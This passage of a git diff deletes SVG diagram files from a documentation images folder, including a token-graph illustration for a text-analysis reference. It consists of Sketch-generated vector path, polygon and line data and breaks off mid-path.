-                <polygon id="Path" fill="#FFFFFF" points="229.4882 10.47244 300.385844 10.47244 300.385844 41.842511 229.4882 41.842511"></polygon>
-                <path d="M242.8374,33.07748 L242.8374,23.405597 L244.30615,23.405597 L244.30615,24.780597 C245.014483,23.718097 246.040525,23.186847 247.384275,23.186847 C247.967608,23.186847 248.504067,23.2910137 248.99365,23.499347 C249.483233,23.7076803 249.847817,23.983722 250.0874,24.327472 C250.3374,24.6608053 250.509275,25.061847 250.603025,25.530597 C250.665525,25.8326803 250.696775,26.3639303 250.696775,27.124347 L250.696775,33.07748 L249.05615,33.07748 L249.05615,27.186847 C249.05615,26.5201803 248.988442,26.0253887 248.853025,25.702472 C248.728025,25.3691387 248.504067,25.1035137 248.18115,24.905597 C247.858233,24.7076803 247.478025,24.608722 247.040525,24.608722 C246.342608,24.608722 245.738442,24.8326803 245.228025,25.280597 C244.728025,25.718097 244.478025,26.5566387 244.478025,27.796222 L244.478025,33.07748 L242.8374,33.07748 L242.8374,33.07748 Z M259.525632,31.88998 C258.911049,32.4003967 258.322507,32.76498 257.760007,32.98373 C257.207924,33.1920633 256.608965,33.29623 255.963132,33.29623 C254.900632,33.29623 254.082924,33.0358133 253.510007,32.51498 C252.93709,31.9941467 252.650632,31.3326883 252.650632,30.530605 C252.650632,30.0514383 252.760007,29.6191467 252.978757,29.23373 C253.197507,28.8378967 253.478757,28.5253967 253.822507,28.29623 C254.176674,28.0566416 254.572507,27.8743474 255.010007,27.7493474 C255.322507,27.6660141 255.806882,27.5826807 256.463132,27.4993474 C257.786049,27.3430974 258.760007,27.1555974 259.385007,26.9368474 C259.395424,26.7076807 259.400632,26.5670557 259.400632,26.5149724 C259.400632,25.8483057 259.244382,25.3743474 258.931882,25.0930974 C258.515215,24.7285141 257.890215,24.5462224 257.056882,24.5462224 C256.286049,24.5462224 255.71834,24.6816391 255.353757,24.9524724 C254.989174,25.2233057 254.71834,25.6972641 254.541257,26.3743474 L252.931882,26.1555974 C253.077715,25.4785141 253.317299,24.9316391 253.650632,24.5149724 C253.983965,24.0878891 254.46834,23.7597641 255.103757,23.5305974 C255.739174,23.3014307 256.46834,23.1868474 257.291257,23.1868474 C258.12459,23.1868474 258.796465,23.2858057 259.306882,23.4837224 C259.827715,23.6712224 260.207924,23.9160141 260.447507,24.2180974 C260.697507,24.5097641 260.869382,24.8795557 260.963132,25.3274724 C261.015215,25.6087224 261.041257,26.1139307 261.041257,26.8430974 L261.041257,29.030605 C261.041257,30.5514383 261.077715,31.51498 261.150632,31.92123 C261.223549,32.3170633 261.358965,32.70248 261.556882,33.07748 L259.853757,33.07748 C259.676674,32.73373 259.567299,32.3378967 259.525632,31.88998 Z M259.385007,28.218105 C258.791257,28.468105 257.900632,28.6764383 256.713132,28.843105 C256.036049,28.936855 255.556882,29.04623 255.275632,29.17123 C254.994382,29.29623 254.775632,29.4733133 254.619382,29.70248 C254.473549,29.9316467 254.400632,30.1920633 254.400632,30.48373 C254.400632,30.92123 254.567299,31.2858133 254.900632,31.57748 C255.233965,31.8691467 255.71834,32.01498 256.353757,32.01498 C256.978757,32.01498 257.536049,31.8795633 258.025632,31.60873 C258.525632,31.32748 258.890215,30.9472717 259.119382,30.468105 C259.296465,30.093105 259.385007,29.54623 259.385007,28.82748 L259.385007,28.218105 Z M263.588834,33.07748 L263.588834,23.405597 L265.057584,23.405597 L265.057584,24.764972 C265.359667,24.2858053 265.760709,23.905597 266.260709,23.624347 C266.771126,23.3326803 267.344042,23.186847 267.979459,23.186847 C268.698209,23.186847 269.286751,23.3378887 269.745084,23.639972 C270.203417,23.9316387 270.526334,24.343097 270.713834,24.874347 C271.484667,23.749347 272.479459,23.186847 273.698209,23.186847 C274.666959,23.186847 275.406542,23.452472 275.916959,23.983722 C276.437792,24.514972 276.698209,25.3326803 276.698209,26.436847 L276.698209,33.07748 L275.057584,33.07748 L275.057584,26.983722 C275.057584,26.327472 275.005501,25.858722 274.901334,25.577472 C274.797167,25.2858053 274.604459,25.0514303 274.323209,24.874347 C274.041959,24.6972637 273.713834,24.608722 273.338834,24.608722 C272.661751,24.608722 272.099251,24.8378887 271.651334,25.296222 C271.203417,25.7441387 270.979459,26.4628887 270.979459,27.452472 L270.979459,33.07748 L269.338834,33.07748 L269.338834,26.796222 C269.338834,26.0670553 269.203417,25.5201803 268.932584,25.155597 C268.661751,24.7910137 268.224251,24.608722 267.620084,24.608722 C267.161751,24.608722 266.734667,24.7285137 266.338834,24.968097 C265.943001,25.2076803 265.656542,25.561847 265.479459,26.030597 C265.312792,26.499347 265.229459,27.1764329 265.229459,28.0618546 L265.229459,33.07748 L263.588834,33.07748 L263.588834,33.07748 Z M285.754636,29.968105 L287.442136,30.17123 C287.171303,31.1608133 286.676511,31.9316467 285.957761,32.48373 C285.239011,33.0253967 284.317136,33.29623 283.192136,33.29623 C281.775469,33.29623 280.650469,32.8639383 279.817136,31.999355 C278.994219,31.124355 278.582761,29.9003967 278.582761,28.32748 C278.582761,26.6920583 278.999428,25.4264307 279.832761,24.5305974 C280.676511,23.6347641 281.765053,23.1868474 283.098386,23.1868474 C284.390053,23.1868474 285.442136,23.6295557 286.254636,24.5149724 C287.077553,25.3899724 287.489011,26.6243499 287.489011,28.218105 C287.489011,28.3222717 287.489011,28.468105 287.489011,28.655605 L280.270261,28.655605 C280.332761,29.718105 280.634844,30.5358133 281.176511,31.10873 C281.718178,31.67123 282.390053,31.95248 283.192136,31.95248 C283.796303,31.95248 284.311928,31.79623 284.739011,31.48373 C285.166094,31.1608133 285.504636,30.655605 285.754636,29.968105 Z M280.364011,27.3118474 L285.770261,27.3118474 C285.697344,26.4993474 285.489011,25.8899724 285.145261,25.4837224 C284.624428,24.8483057 283.947344,24.5305974 283.114011,24.5305974 C282.364011,24.5305974 281.728594,24.7858057 281.207761,25.2962224 C280.697344,25.7962224 280.416094,26.4680974 280.364011,27.3118474 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-dns-invalid-ex.svg b/docs/reference/images/analysis/token-graph-dns-invalid-ex.svg
deleted file mode 100644
index 5614f39bfe3..00000000000
--- a/docs/reference/images/analysis/token-graph-dns-invalid-ex.svg
+++ /dev/null
@@ -1,72 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="810px" height="127px" viewBox="0 0 810 127" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="token-graph-dns-invalid-ex" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M167.71559,4.1045 L167.71559,4.1045 C167.71559,2.5803148 168.951186,1.344719 170.475371,1.344719 L212.325881,1.344719 C213.05783,1.344719 213.759795,1.63547523 214.277343,2.1530381 C214.794906,2.67060097 215.085662,3.3725587 215.085662,4.1044999 L215.085662,48.6636799 C215.085662,50.1878651 213.850066,51.4234609 212.325881,51.4234609 L170.475371,51.4234609 C168.951186,51.4234609 167.71559,50.1878652 167.71559,48.6636799 L167.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M167.71559,4.1045 L167.71559,4.1045 C167.71559,2.5803148 168.951186,1.344719 170.475371,1.344719 L212.325881,1.344719 C213.05783,1.344719 213.759795,1.63547523 214.277343,2.1530381 C214.794906,2.67060097 215.085662,3.3725587 215.085662,4.1044999 L215.085662,48.6636799 C215.085662,50.1878651 213.850066,51.4234609 212.325881,51.4234609 L170.475371,51.4234609 C168.951186,51.4234609 167.71559,50.1878652 167.71559,48.6636799 L167.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M193.1659,33.3041 L191.525275,33.3041 L191.525275,22.850967 C191.129442,23.225967 190.608608,23.6061753 189.962775,23.991592 C189.327358,24.366592 188.754442,24.647842 188.244025,24.835342 L188.244025,23.241592 C189.160692,22.8145087 189.962775,22.2936753 190.650275,21.679092 C191.337775,21.0645087 191.82215,20.4707587 192.1034,19.897842 L193.1659,19.897842 L193.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="159.08891 16.85302 178.521985 16.85302 178.521985 38.679795 159.08891 38.679795"></polygon>
-                <line x1="178.52199" y1="27.7664" x2="48.19127" y2="27.2309691" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="160.52213" y1="27.69245" x2="48.19128" y2="27.2309708" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="160.50177 32.64761 174.136307 27.7483867 160.542496 22.7372937"></polygon>
-                <path d="M319.71558,4.1045 L319.71558,4.1045 C319.71558,2.5803148 320.951206,1.344719 322.475376,1.344719 L364.325901,1.344719 C365.057835,1.344719 365.7598,1.63547523 366.277348,2.1530381 C366.794926,2.67060097 367.085667,3.3725587 367.085667,4.1044999 L367.085667,48.6636799 C367.085667,50.1878651 365.850071,51.4234609 364.325901,51.4234609 L322.475376,51.4234609 C320.951206,51.4234609 319.71558,50.1878652 319.71558,48.6636799 L319.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M319.71558,4.1045 L319.71558,4.1045 C319.71558,2.5803148 320.951206,1.344719 322.475376,1.344719 L364.325901,1.344719 C365.057835,1.344719 365.7598,1.63547523 366.277348,2.1530381 C366.794926,2.67060097 367.085667,3.3725587 367.085667,4.1044999 L367.085667,48.6636799 C367.085667,50.1878651 365.850071,51.4234609 364.325901,51.4234609 L322.475376,51.4234609 C320.951206,51.4234609 319.71558,50.1878652 319.71558,48.6636799 L319.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M347.6034,31.72597 L347.6034,33.304095 L338.775275,33.304095 C338.764858,32.9082617 338.827358,32.5280533 338.962775,32.16347 C339.191942,31.5593033 339.551317,30.9655533 340.0409,30.38222 C340.5409,29.7988867 341.25965,29.1270117 342.19715,28.366595 C343.645067,27.1790899 344.624233,26.2363791 345.13465,25.5384624 C345.645067,24.8405457 345.900275,24.1842957 345.900275,23.5697124 C345.900275,22.9134624 345.6659,22.3665874 345.19715,21.9290874 C344.738817,21.4811707 344.13465,21.2572124 343.38465,21.2572124 C342.592983,21.2572124 341.957567,21.4967957 341.4784,21.9759624 C341.00965,22.4447124 340.775275,23.0957541 340.775275,23.9290874 L339.087775,23.7572124 C339.202358,22.4967957 339.63465,21.5384624 340.38465,20.8822124 C341.145067,20.2259624 342.155483,19.8978374 343.4159,19.8978374 C344.69715,19.8978374 345.712775,20.2520041 346.462775,20.9603374 C347.212775,21.6686707 347.587775,22.5488791 347.587775,23.6009624 C347.587775,24.1322124 347.4784,24.6582541 347.25965,25.1790874 C347.0409,25.6999207 346.676317,26.2467957 346.1659,26.8197124 C345.6659,27.3822124 344.82215,28.1634649 343.63465,29.16347 C342.655483,29.9863867 342.025275,30.5488867 341.744025,30.85097 C341.462775,31.1426367 341.233608,31.4343033 341.056525,31.72597 L347.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="207.08891 16.85302 226.52197 16.85302 226.52197 38.679795 207.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="311.0889 16.85302 330.521975 16.85302 330.521975 38.679795 311.0889 38.679795"></polygon>
-                <path d="M487.7156,4.1045 L487.7156,4.1045 C487.7156,2.5803148 488.951196,1.344719 490.475366,1.344719 L532.325891,1.344719 C533.057824,1.344719 533.75979,1.63547523 534.277368,2.1530381 C534.794946,2.67060097 535.085717,3.3725587 535.085717,4.1044999 L535.085717,48.6636799 C535.085717,50.1878651 533.850122,51.4234609 532.325891,51.4234609 L490.475366,51.4234609 C488.951196,51.4234609 487.7156,50.1878652 487.7156,48.6636799 L487.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M487.7156,4.1045 L487.7156,4.1045 C487.7156,2.5803148 488.951196,1.344719 490.475366,1.344719 L532.325891,1.344719 C533.057824,1.344719 533.75979,1.63547523 534.277368,2.1530381 C534.794946,2.67060097 535.085717,3.3725587 535.085717,4.1044999 L535.085717,48.6636799 C535.085717,50.1878651 533.850122,51.4234609 532.325891,51.4234609 L490.475366,51.4234609 C488.951196,51.4234609 487.7156,50.1878652 487.7156,48.6636799 L487.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M506.994,29.77284 L508.634625,29.55409 C508.822125,30.49159 509.139833,31.163465 509.58775,31.569715 C510.046083,31.975965 510.598167,32.17909 511.244,32.17909 C512.014833,32.17909 512.665875,31.913465 513.197125,31.382215 C513.728375,30.850965 513.994,30.1895067 513.994,29.3978324 C513.994,28.64784 513.749208,28.0280458 513.259625,27.5384574 C512.770042,27.0488741 512.145042,26.8040824 511.384625,26.8040824 C511.072125,26.8040824 510.686708,26.8613741 510.228375,26.9759574 L510.415875,25.5384574 C510.520042,25.5488741 510.608583,25.5540824 510.6815,25.5540824 C511.379417,25.5540824 512.004417,25.3717907 512.5565,25.0072074 C513.119,24.6426241 513.40025,24.0853324 513.40025,23.3353324 C513.40025,22.7311657 513.197125,22.2311657 512.790875,21.8353324 C512.384625,21.4394991 511.858583,21.2415824 511.21275,21.2415824 C510.577333,21.2415824 510.046083,21.4447074 509.619,21.8509574 C509.191917,22.2467907 508.921083,22.8457491 508.8065,23.6478324 L507.165875,23.3509574 C507.363792,22.2572074 507.816917,21.4082491 508.52525,20.8040824 C509.233583,20.1999157 510.119,19.8978324 511.1815,19.8978324 C511.910667,19.8978324 512.577333,20.0540824 513.1815,20.3665824 C513.796083,20.6790824 514.264833,21.1061657 514.58775,21.6478324 C514.921083,22.1894991 515.08775,22.7624157 515.08775,23.3665824 C515.08775,23.9394991 514.9315,24.4655407 514.619,24.9447074 C514.3065,25.4134574 513.848167,25.7884574 513.244,26.0697074 C514.035667,26.2572074 514.65025,26.6374157 515.08775,27.2103324 C515.52525,27.7832541 515.744,28.5020067 515.744,29.36659 C515.744,30.52284 515.316917,31.507215 514.46275,32.319715 C513.619,33.132215 512.546083,33.538465 511.244,33.538465 C510.066917,33.538465 509.092958,33.1895067 508.322125,32.49159 C507.551292,31.7936733 507.108583,30.8874233 506.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="479.0889 16.85302 498.521944 16.85302 498.521944 38.679795 479.0889 38.679795"></polygon>
-                <line x1="496.9606" y1="27.00144" x2="369.18106" y2="28.765211" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="478.9623" y1="27.24987" x2="369.18105" y2="28.7652127" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="479.03064 32.20459 492.575257 27.061966 478.89386 22.295143"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="58.385826 10.47244 147.83464 10.47244 147.83464 41.842511 58.385826 41.842511"></polygon>
-                <path d="M80.01599,33.07748 L80.01599,31.85873 C79.4118233,32.8170633 78.5107817,33.29623 77.312865,33.29623 C76.5420317,33.29623 75.8336983,33.0826883 75.187865,32.655605 C74.5420317,32.2285217 74.0420317,31.6347717 73.687865,30.874355 C73.3336983,30.1139383 73.156615,29.2389383 73.156615,28.249355 C73.156615,27.2805999 73.3180733,26.4055974 73.64099,25.6243474 C73.9639067,24.8326807 74.4430733,24.2285141 75.07849,23.8118474 C75.7243233,23.3951807 76.4482817,23.1868474 77.250365,23.1868474 C77.8336983,23.1868474 78.3493233,23.3118474 78.79724,23.5618474 C79.2555733,23.8014307 79.625365,24.1191391 79.906615,24.5149724 L79.906615,19.7180974 L81.54724,19.7180974 L81.54724,33.0774804 L80.01599,33.0774804 L80.01599,33.07748 Z M74.844115,28.249355 C74.844115,29.4889383 75.1045317,30.4160217 75.625365,31.030605 C76.1461983,31.6451883 76.7607817,31.95248 77.469115,31.95248 C78.187865,31.95248 78.79724,31.6608133 79.29724,31.07748 C79.79724,30.48373 80.04724,29.5878967 80.04724,28.38998 C80.04724,27.0670583 79.7920317,26.0983057 79.281615,25.4837224 C78.7711983,24.8587224 78.14099,24.5462224 77.39099,24.5462224 C76.67224,24.5462224 76.0680733,24.8430974 75.57849,25.4368474 C75.0889067,26.0305974 74.844115,26.9680999 74.844115,28.249355 Z M83.516707,28.23373 C83.516707,26.4420583 84.0114987,25.1191391 85.001082,24.2649724 C85.8344153,23.5462224 86.8500403,23.1868474 88.047957,23.1868474 C89.3812903,23.1868474 90.469832,23.6243474 91.313582,24.4993474 C92.157332,25.3639307 92.579207,26.5670583 92.579207,28.10873 C92.579207,29.3483133 92.391707,30.32748 92.016707,31.04623 C91.641707,31.7545633 91.094832,32.3066467 90.376082,32.70248 C89.6677487,33.0983133 88.891707,33.29623 88.047957,33.29623 C86.6937903,33.29623 85.6000403,32.8639383 84.766707,31.999355 C83.9333737,31.124355 83.516707,29.8691467 83.516707,28.23373 Z M85.204207,28.23373 C85.204207,29.4733133 85.469832,30.405605 86.001082,31.030605 C86.5427487,31.6451883 87.2250403,31.95248 88.047957,31.95248 C88.860457,31.95248 89.5375403,31.6451883 90.079207,31.030605 C90.6208737,30.405605 90.891707,29.4576883 90.891707,28.186855 C90.891707,26.9889333 90.6208737,26.0826807 90.079207,25.4680974 C89.5375403,24.8535141 88.860457,24.5462224 88.047957,24.5462224 C87.2250403,24.5462224 86.5427487,24.8535141 86.001082,25.4680974 C85.469832,26.0722641 85.204207,26.9941416 85.204207,28.23373 Z M94.501799,33.07748 L94.501799,23.405597 L95.970549,23.405597 L95.970549,24.764972 C96.2726323,24.2858053 96.673674,23.905597 97.173674,23.624347 C97.6840907,23.3326803 98.2570073,23.186847 98.892424,23.186847 C99.611174,23.186847 100.199716,23.3378887 100.658049,23.639972 C101.116382,23.9316387 101.439299,24.343097 101.626799,24.874347 C102.397632,23.749347 103.392424,23.186847 104.611174,23.186847 C105.579924,23.186847 106.319507,23.452472 106.829924,23.983722 C107.350757,24.514972 107.611174,25.3326803 107.611174,26.436847 L107.611174,33.07748 L105.970549,33.07748 L105.970549,26.983722 C105.970549,26.327472 105.918466,25.858722 105.814299,25.577472 C105.710132,25.2858053 105.517424,25.0514303 105.236174,24.874347 C104.954924,24.6972637 104.626799,24.608722 104.251799,24.608722 C103.574716,24.608722 103.012216,24.8378887 102.564299,25.296222 C102.116382,25.7441387 101.892424,26.4628887 101.892424,27.452472 L101.892424,33.07748 L100.251799,33.07748 L100.251799,26.796222 C100.251799,26.0670553 100.116382,25.5201803 99.845549,25.155597 C99.5747157,24.7910137 99.1372157,24.608722 98.533049,24.608722 C98.0747157,24.608722 97.6476323,24.7285137 97.251799,24.968097 C96.8559657,25.2076803 96.5695073,25.561847 96.392424,26.030597 C96.2257573,26.499347 96.142424,27.1764329 96.142424,28.0618546 L96.142424,33.07748 L94.501799,33.07748 L94.501799,33.07748 Z M116.355101,31.88998 C115.740518,32.4003967 115.151976,32.76498 114.589476,32.98373 C114.037393,33.1920633 113.438434,33.29623 112.792601,33.29623 C111.730101,33.29623 110.912393,33.0358133 110.339476,32.51498 C109.766559,31.9941467 109.480101,31.3326883 109.480101,30.530605 C109.480101,30.0514383 109.589476,29.6191467 109.808226,29.23373 C110.026976,28.8378967 110.308226,28.5253967 110.651976,28.29623 C111.006143,28.0566416 111.401976,27.8743474 111.839476,27.7493474 C112.151976,27.6660141 112.636351,27.5826807 113.292601,27.4993474 C114.615518,27.3430974 115.589476,27.1555974 116.214476,26.9368474 C116.224893,26.7076807 116.230101,26.5670557 116.230101,26.5149724 C116.230101,25.8483057 116.073851,25.3743474 115.761351,25.0930974 C115.344684,24.7285141 114.719684,24.5462224 113.886351,24.5462224 C113.115518,24.5462224 112.547809,24.6816391 112.183226,24.9524724 C111.818643,25.2233057 111.547809,25.6972641 111.370726,26.3743474 L109.761351,26.1555974 C109.907184,25.4785141 110.146768,24.9316391 110.480101,24.5149724 C110.813434,24.0878891 111.297809,23.7597641 111.933226,23.5305974 C112.568643,23.3014307 113.297809,23.1868474 114.120726,23.1868474 C114.954059,23.1868474 115.625934,23.2858057 116.136351,23.4837224 C116.657184,23.6712224 117.037393,23.9160141 117.276976,24.2180974 C117.526976,24.5097641 117.698851,24.8795557 117.792601,25.3274724 C117.844684,25.6087224 117.870726,26.1139307 117.870726,26.8430974 L117.870726,29.030605 C117.870726,30.5514383 117.907184,31.51498 117.980101,31.92123 C118.053018,32.3170633 118.188434,32.70248 118.386351,33.07748 L116.683226,33.07748 C116.506143,32.73373 116.396768,32.3378967 116.355101,31.88998 Z M116.214476,28.218105 C115.620726,28.468105 114.730101,28.6764383 113.542601,28.843105 C112.865518,28.936855 112.386351,29.04623 112.105101,29.17123 C111.823851,29.29623 111.605101,29.4733133 111.448851,29.70248 C111.303018,29.9316467 111.230101,30.1920633 111.230101,30.48373 C111.230101,30.92123 111.396768,31.2858133 111.730101,31.57748 C112.063434,31.8691467 112.547809,32.01498 113.183226,32.01498 C113.808226,32.01498 114.365518,31.8795633 114.855101,31.60873 C115.355101,31.32748 115.719684,30.9472717 115.948851,30.468105 C116.125934,30.093105 116.214476,29.54623 116.214476,28.82748 L116.214476,28.218105 Z M120.418318,21.6087224 L120.418318,19.7180974 L122.058943,19.7180974 L122.058943,21.6087224 L120.418318,21.6087224 Z M120.418318,33.0774804 L120.418318,23.4055974 L122.058943,23.4055974 L122.058943,33.0774804 L120.418318,33.0774804 Z M124.563139,33.0774804 L124.563139,23.4055974 L126.031889,23.4055974 L126.031889,24.7805974 C126.740222,23.7180974 127.766264,23.1868474 129.110014,23.1868474 C129.693347,23.1868474 130.229806,23.2910141 130.719389,23.4993474 C131.208972,23.7076807 131.573556,23.9837224 131.813139,24.3274724 C132.063139,24.6608057 132.235014,25.0618474 132.328764,25.5305974 C132.391264,25.8326807 132.422514,26.3639307 132.422514,27.1243474 L132.422514,33.0774804 L130.781889,33.0774804 L130.781889,27.1868474 C130.781889,26.5201807 130.714181,26.0253891 130.578764,25.7024724 C130.453764,25.3691391 130.229806,25.1035141 129.906889,24.9055974 C129.583972,24.7076807 129.203764,24.6087224 128.766264,24.6087224 C128.068347,24.6087224 127.464181,24.8326807 126.953764,25.2805974 C126.453764,25.7180974 126.203764,26.5566391 126.203764,27.7962224 L126.203764,33.0774804 L124.563139,33.0774804 L124.563139,33.0774804 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="383 10.47244 466.653534 10.47244 466.653534 41.842511 383 41.842511"></polygon>
-                <path d="M395.8628,30.1868524 L397.4878,29.93686 C397.571133,30.5826933 397.821133,31.0826933 398.2378,31.43686 C398.654467,31.78061 399.2378,31.952485 399.9878,31.952485 C400.7378,31.952485 401.295092,31.8014433 401.659675,31.49936 C402.024258,31.1868524 402.20655,30.8222767 402.20655,30.40561 C402.20655,30.0410267 402.045092,29.74936 401.722175,29.53061 C401.503425,29.3847767 400.946133,29.202485 400.0503,28.983735 C398.841967,28.671235 398.003425,28.40561 397.534675,28.1868524 C397.076342,27.9681049 396.727383,27.666019 396.4878,27.2806024 C396.248217,26.8847691 396.128425,26.4472691 396.128425,25.9681024 C396.128425,25.5410191 396.227383,25.1451857 396.4253,24.7806024 C396.623217,24.4056024 396.89405,24.0983107 397.2378,23.8587274 C397.4878,23.6712274 397.83155,23.5149774 398.26905,23.3899774 C398.716967,23.2545607 399.190925,23.1868524 399.690925,23.1868524 C400.451342,23.1868524 401.118008,23.2962274 401.690925,23.5149774 C402.263842,23.7337274 402.685717,24.0306024 402.95655,24.4056024 C403.2378,24.7806024 403.430508,25.2806024 403.534675,25.9056024 L401.9253,26.1243524 C401.852383,25.6243524 401.638842,25.2337274 401.284675,24.9524774 C400.940925,24.6712274 400.451342,24.5306024 399.815925,24.5306024 C399.055508,24.5306024 398.513842,24.6556024 398.190925,24.9056024 C397.878425,25.1556024 397.722175,25.4472691 397.722175,25.7806024 C397.722175,25.9889357 397.784675,26.1816441 397.909675,26.3587274 C398.045092,26.5358107 398.258633,26.6816441 398.5503,26.7962274 C398.70655,26.8587274 399.185717,26.9993524 399.9878,27.2181024 C401.154467,27.5201857 401.966967,27.7701857 402.4253,27.9681024 C402.883633,28.1660242 403.243008,28.452485 403.503425,28.827485 C403.763842,29.202485 403.89405,29.671235 403.89405,30.233735 C403.89405,30.7858183 403.732592,31.3014433 403.409675,31.78061 C403.097175,32.2597767 402.638842,32.6347767 402.034675,32.90561 C401.430508,33.1660267 400.748217,33.296235 399.9878,33.296235 C398.7378,33.296235 397.779467,33.0358183 397.1128,32.514985 C396.45655,31.9941517 396.039883,31.21811 395.8628,30.1868524 Z M405.76905,36.796235 L405.58155,35.264985 C405.946133,35.358735 406.258633,35.405602 406.51905,35.405602 C406.883633,35.405602 407.1753,35.34311 407.39405,35.21811 C407.6128,35.1035267 407.795092,34.93686 407.940925,34.71811 C408.045092,34.5514433 408.211758,34.1451933 408.440925,33.49936 C408.472175,33.405602 408.51905,33.2701933 408.58155,33.09311 L404.909675,23.405602 L406.6753,23.405602 L408.690925,28.9993596 C408.951342,29.7181096 409.185717,30.4681096 409.39405,31.2493596 C409.58155,30.4993596 409.805508,29.7649846 410.065925,29.0462346 L412.14405,23.405602 L413.784675,23.405602 L410.097175,33.233735 C409.701342,34.3066517 409.39405,35.0410267 409.1753,35.43686 C408.883633,35.9785267 408.5503,36.37436 408.1753,36.62436 C407.8003,36.87436 407.352383,36.99936 406.83155,36.99936 C406.508633,36.99936 406.154467,36.9316517 405.76905,36.796235 Z M414.51905,30.1868524 L416.14405,29.93686 C416.227383,30.5826933 416.477383,31.0826933 416.89405,31.43686 C417.310717,31.78061 417.89405,31.952485 418.64405,31.952485 C419.39405,31.952485 419.951342,31.8014433 420.315925,31.49936 C420.680508,31.1868524 420.8628,30.8222767 420.8628,30.40561 C420.8628,30.0410267 420.701342,29.74936 420.378425,29.53061 C420.159675,29.3847767 419.602383,29.202485 418.70655,28.983735 C417.498217,28.671235 416.659675,28.40561 416.190925,28.1868524 C415.732592,27.9681049 415.383633,27.666019 415.14405,27.2806024 C414.904467,26.8847691 414.784675,26.4472691 414.784675,25.9681024 C414.784675,25.5410191 414.883633,25.1451857 415.08155,24.7806024 C415.279467,24.4056024 415.5503,24.0983107 415.89405,23.8587274 C416.14405,23.6712274 416.4878,23.5149774 